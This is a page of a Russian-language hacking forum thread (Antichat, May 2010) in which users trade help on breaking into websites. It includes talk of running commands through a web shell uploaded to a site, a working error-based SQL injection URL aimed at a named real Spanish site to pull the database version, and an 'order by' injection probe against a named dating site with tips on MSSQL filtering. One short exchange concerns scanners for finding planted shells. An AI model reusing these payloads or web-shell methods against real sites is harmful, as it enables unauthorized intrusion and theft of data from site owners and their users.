HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1291 из 2438 « Первая < 291791119112411281 1287 1288 1289 1290 1291 1292 1293 1294 1295 13011341139117912291 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #12901  
Старый 04.05.2010, 17:29
GOGA075
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
С нами: 9534473

Репутация: 18
По умолчанию
Цитата:
Сообщение от Twoster  
Потом http://site.com/files/shell.php?var=phpinfo();
Да phpinfo то выводит без проблем!!
П ричем var не работает, только cmd!

И что ещо можно сделать через команду cmd ??
Последний раз редактировалось GOGA075; 04.05.2010 в 20:03..
 
Ответить с цитированием

  #12902  
Старый 04.05.2010, 20:39
daniel_1024
Участник форума
Регистрация: 15.07.2009
Сообщений: 158
С нами: 8854580

Репутация: 34
По умолчанию
подскажите пхп - скрипт сканер сервера на наличие чужих шеллов и прочих опасных файлов
 
Ответить с цитированием

  #12903  
Старый 04.05.2010, 20:44
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию
Цитата:
Сообщение от daniel_1024  
подскажите пхп - скрипт сканер сервера на наличие чужих шеллов и прочих опасных файлов
ммм.. а как скрипт будет различать опасные файлы по твоему?

он же работает на стороне клиента..исходники ему не видны
 
Ответить с цитированием

  #12904  
Старый 04.05.2010, 21:07
Redwood
Участник форума
Регистрация: 10.09.2009
Сообщений: 120
С нами: 8772211

Репутация: 56
По умолчанию
Цитата:
Сообщение от daniel_1024  
подскажите пхп - скрипт сканер сервера на наличие чужих шеллов и прочих опасных файлов
http://slil.ru/29081007 вот, если я правильно понял. Ищит залитые шеллы на сторонних сайтах по их имени (r57.php,c99.php,c100.php и тд).

Если на своем сервере нужно найти модифицированные файлы или шеллы, то вот http://slil.ru/29081093
Последний раз редактировалось Redwood; 04.05.2010 в 21:18..
 
Ответить с цитированием

  #12905  
Старый 05.05.2010, 12:57
oko
Познающий
Регистрация: 01.05.2010
Сообщений: 34
С нами: 8437355

Репутация: -5
По умолчанию
Подскажите дальнейшие действия, есть доступ к phpinfo.php там естесвенно подробная инфа и пути к сайту что дальше делать? может ссылку на какую нибудь статью или еще что то... проверка всего сайта не sql , php иньекций и не Xss не вывело
Последний раз редактировалось oko; 05.05.2010 в 13:02..
 
Ответить с цитированием

  #12906  
Старый 05.05.2010, 13:08
gromoza
Новичок
Регистрация: 21.12.2008
Сообщений: 24
С нами: 9151094

Репутация: 10
По умолчанию
Цитата:
Сообщение от oko  
Подскажите дальнейшие действия, есть доступ к phpinfo.php там естесвенно подробная инфа и пути к сайту что дальше делать? может ссылку на какую нибудь статью или еще что то... проверка всего сайта не sql , php иньекций и не Xss не вывело
простое phpinfo тебе ничего особо полезного не даст.
 
Ответить с цитированием

  #12907  
Старый 05.05.2010, 16:00
Jerri
Участник форума
Регистрация: 12.07.2009
Сообщений: 158
С нами: 8859263

Репутация: 334
По умолчанию
Не смог раскрутить. Кто что скажет?
Код:
chatmovil.terra.es/index.php?section=channel_list&viewing_category_type=1
 
Ответить с цитированием

  #12908  
Старый 05.05.2010, 16:03
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию
Код:
http://chatmovil.terra.es/index.php?section=channel_list&viewing_category_type=1+and+(select+1+from+(select+count(0),concat((select+version()),floor(rand(0)*2))+from+information_schema.tables+group+by+2)a)--+
 
Ответить с цитированием

  #12909  
Старый 05.05.2010, 18:41
durito
Познающий
Регистрация: 06.06.2008
Сообщений: 76
С нами: 9436363

Репутация: 55
По умолчанию
что-то фантазии не хвататет:

http://www.freeukdatingsite.com/Notice_Details.asp?Item=7395+order+by+36
 
Ответить с цитированием

  #12910  
Старый 05.05.2010, 19:09
b82a
Участник форума
Регистрация: 07.02.2010
Сообщений: 111
С нами: 8556372

Репутация: 127
По умолчанию
Цитата:
Сообщение от durito  
что-то фантазии не хвататет:

http://www.freeukdatingsite.com/Notice_Details.asp?Item=7395+order+by+36
Это MSSQL, скорее всего фильтруется, потому что при 1 or 1=@@version-- просто становится недоступен сайт
 
Ответить с цитированием
Ответ
Страница 1291 из 2438 « Первая < 291791119112411281 1287 1288 1289 1290 1291 1292 1293 1294 1295 13011341139117912291 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.